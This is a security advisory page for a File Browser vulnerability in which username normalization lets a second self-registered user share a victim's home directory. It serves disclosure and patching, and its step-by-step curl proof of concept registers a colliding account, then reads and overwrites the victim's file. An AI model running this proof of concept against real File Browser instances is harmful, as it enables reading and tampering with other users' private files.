Skip to content

GHSA-7rc3-g7h6-22m7 CVE-2026-62685 GO-2026-6024

File Browser: Colliding username normalization gives two users the same home directory

High Go
Severity
8.1 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.55%
Chance of exploitation in the next 30 days. Higher than 46.19% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-647 Use of Non-Canonical URL Paths for Authorization Decisions
CWE-706 Use of Incorrectly-Resolved Name or Reference
Fix
2.63.17
Upgrade github.com/filebrowser/filebrowser/v2 to this version or later

Description

Summary

FileBrowser confines each user to a scope: a home directory that acts as the boundary for everything they can read or write. When self-registration and automatic home-directory creation are both enabled (Signup=true and CreateUserDir=true), a new user's scope is built from their username after it passes through cleanUsername(). That function rewrites the name: it strips .. and replaces every character outside 0-9A-Za-z@_\-. with -.

The problem is that this rewrite is many-to-one: different usernames can produce the same result, and FileBrowser never checks whether the resulting scope is already taken. So team/one, team one, and team-one all collapse to the same directory name, and whoever registers second is handed the same home directory as the first user instead of an isolated one.

This breaks per-user isolation. An attacker can pick a username that normalizes onto a victim's directory (for example registering alice/ or al..ice to land in alice's home) and gain full read and write access to that victim's files. Because username uniqueness is enforced on the raw name, both accounts coexist normally and neither user is warned that they share storage.

Details

1. The home directory is built straight from the cleaned username (settings/dir.go:30)

// MakeUserDir, when CreateUserDir is true:
username = cleanUsername(username)
// ...
userScope = path.Join(s.UserHomeBasePath, username)   // line 30
userScope = path.Join("/", userScope)                 // line 33

The user's scope is path.Join(UserHomeBasePath, cleanUsername(username)).

2. cleanUsername collapses distinct inputs to the same output (settings/dir.go:42-52)

func cleanUsername(s string) string {
    s = strings.Trim(s, " ")
    s = strings.ReplaceAll(s, "..", "")                       // line 45, deletes ".."
    s = invalidFilenameChars.ReplaceAllString(s, "-")         // line 48, any non [0-9A-Za-z@_.-] -> "-"
    s = dashes.ReplaceAllString(s, "-")                       // line 51, collapse repeated "-"
    return s
}

Because several characters all map to - (and .. is simply deleted), many different usernames produce the same output: team/one, team one, team:one, and team-one all become team-one, and a..b becomes ab. Usernames that are unique on their own end up pointing at one shared directory name.

3. No scope-uniqueness check exists

Username uniqueness is enforced on the raw username (Storm id), but nothing enforces uniqueness of the derived Scope. signupHandler writes the colliding scope back to the user (http/auth.go:198-203) and saves the account; the second registrant simply reuses the first registrant's home directory (MakeUserDir calls MkdirAll, which is idempotent).

PoC

Tested against filebrowser/filebrowser:v2.63.15 with Signup=true and CreateUserDir=true (default minimumPasswordLength is 12).

Attack Vector: register a colliding username and read/overwrite another user's files:

#1. Create a dir in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090; PW='CollidePw12345!'

#2. Admin logs in and enables the two required non-default settings: signup=true and createUserDir=true
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
AT=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")
curl -s -H "X-Auth: $AT" $B/api/settings \
  | python3 -c "import sys,json;d=json.load(sys.stdin);d['signup']=True;d['createUserDir']=True;print(json.dumps(d))" \
  | curl -s -X PUT $B/api/settings -H "X-Auth: $AT" -H 'Content-Type: application/json' -d @-

#3. Register the victim teamone-x
curl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d "{\"username\":\"teamone-x\",\"password\":\"$PW\"}"

#4. Register the attacker teamone/x (distinct raw username that cleanUsername() normalizes to the same scope teamone-x)
curl -s -X POST $B/api/signup -H 'Content-Type: application/json' -d "{\"username\":\"teamone/x\",\"password\":\"$PW\"}"

#5. Log in as both accounts (TA = victim, TB = attacker)
TA=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"teamone-x\",\"password\":\"$PW\"}")
TB=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"teamone/x\",\"password\":\"$PW\"}")

#6. Victim A writes a private file
curl -s -X POST "$B/api/resources/secretA.txt?override=true" -H "X-Auth: $TA" --data-binary 'A-private-CONFIDENTIAL-data' -o /dev/null

#7. Attacker B reads A's file (both resolve to the single shared home directory)
curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TB"

#8. Attacker B overwrites the file
curl -s -X POST "$B/api/resources/secretA.txt?override=true" -H "X-Auth: $TB" --data-binary 'TAMPERED-BY-B' -o /dev/null

#9. Victim A reads back the tampered content
curl -s "$B/api/raw/secretA.txt" -H "X-Auth: $TA"

Expected output (reproduced on a fresh filebrowser-test container, v2.63.15):

GET  /api/raw/secretA.txt   (as user B, attacker)  -> 200
A-private-CONFIDENTIAL-data

POST /api/resources/secretA.txt?override=true  (as user B)  -> 200   (empty body)

GET  /api/raw/secretA.txt   (as user A, victim, reads back)  -> 200
TAMPERED-BY-B

GET  /api/users   (as admin, both accounts share one scope)  -> 200
[ ... {"username":"teamone-x","scope":"/users/teamone-x"}, {"username":"teamone/x","scope":"/users/teamone-x"} ... ]

On disk there is a single shared home directory /srv/users/teamone-x.

Impact

  • Cross-user read: an attacker registering a colliding username can read every file in a victim's home directory.
  • Cross-user write and tamper: the attacker can overwrite, rename, or delete the victim's files; the victim transparently sees the tampered content.
  • Per-user isolation bypass: the home-directory scoping that is supposed to confine each self-registered user is defeated whenever two usernames normalize to the same value.
  • Targeted or opportunistic: an attacker can deliberately craft a username that collides with a known victim (e.g. registering alice/, alice., or al..ice to land on alice's directory), or collisions can occur accidentally between legitimate users.
  • Precondition: requires the administrator to have enabled both Signup and CreateUserDir.

Recommended Fix

Make the derived scope canonical and enforce its uniqueness. Either reject a signup whose normalized scope already exists, or bind the home directory to the immutable user ID rather than to a normalized username:

// settings/dir.go, base the home dir on a collision-free identifier:
userScope = path.Join(s.UserHomeBasePath, strconv.FormatUint(uint64(user.ID), 10))

Alternatively, in signupHandler, after computing the scope, reject the registration if any existing user already owns that scope (store.Users.GetByScope(scope) ⇒ 409 Conflict). Also reject usernames whose normalized form differs from the raw username, so that cleanUsername is never silently lossy.

Affected versions

Go

PackageVulnerableFixed in
github.com/filebrowser/filebrowser
all versions
No fix yet
github.com/filebrowser/filebrowser/v2
< 2.63.17
2.63.17

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/filebrowser/filebrowser/v2 Go → 2.63.17

go
go get github.com/filebrowser/filebrowser/v2@v2.63.17 && go mod tidy

Severity breakdown

CVSS 3.1 8.1

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions

The product defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.

How to prevent it
  • Architecture and Design: Make access control policy based on path information in canonical form. Use very restrictive regular expressions to validate that the path is in the expected form.
  • Architecture and Design: Reject all alternate path encodings that are not in the expected canonical form.

CWE-706: Use of Incorrectly-Resolved Name or Reference

The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-833g-cqhp-h72j
File Browser: Share API exposes the password hash and bypass token
Low Also affects github.com/filebrowser/filebrowser
GHSA-83xp-526h-j3ww
File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)
Medium Also affects github.com/filebrowser/filebrowser
GHSA-8wc8-hf36-mjh9
File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope
Medium Also affects github.com/filebrowser/filebrowser
GHSA-fmm7-x4gx-8jhr
File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup
High Also affects github.com/filebrowser/filebrowser
GHSA-xqp3-jq6g-x3qm
File Browser: Authentication Bypass via Proxy Auth Header Forgery
Critical Also affects github.com/filebrowser/filebrowser
GHSA-m93h-4hw7-5qcm
File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)
Critical Also affects github.com/filebrowser/filebrowser
GHSA-8c9q-7855-wfxq
File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection
High Also affects github.com/filebrowser/filebrowser
GHSA-j9jx-hp4c-ghhh
File Browser has incorrect access control for public directory shares via rule path rebasing
High Also affects github.com/filebrowser/filebrowser
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor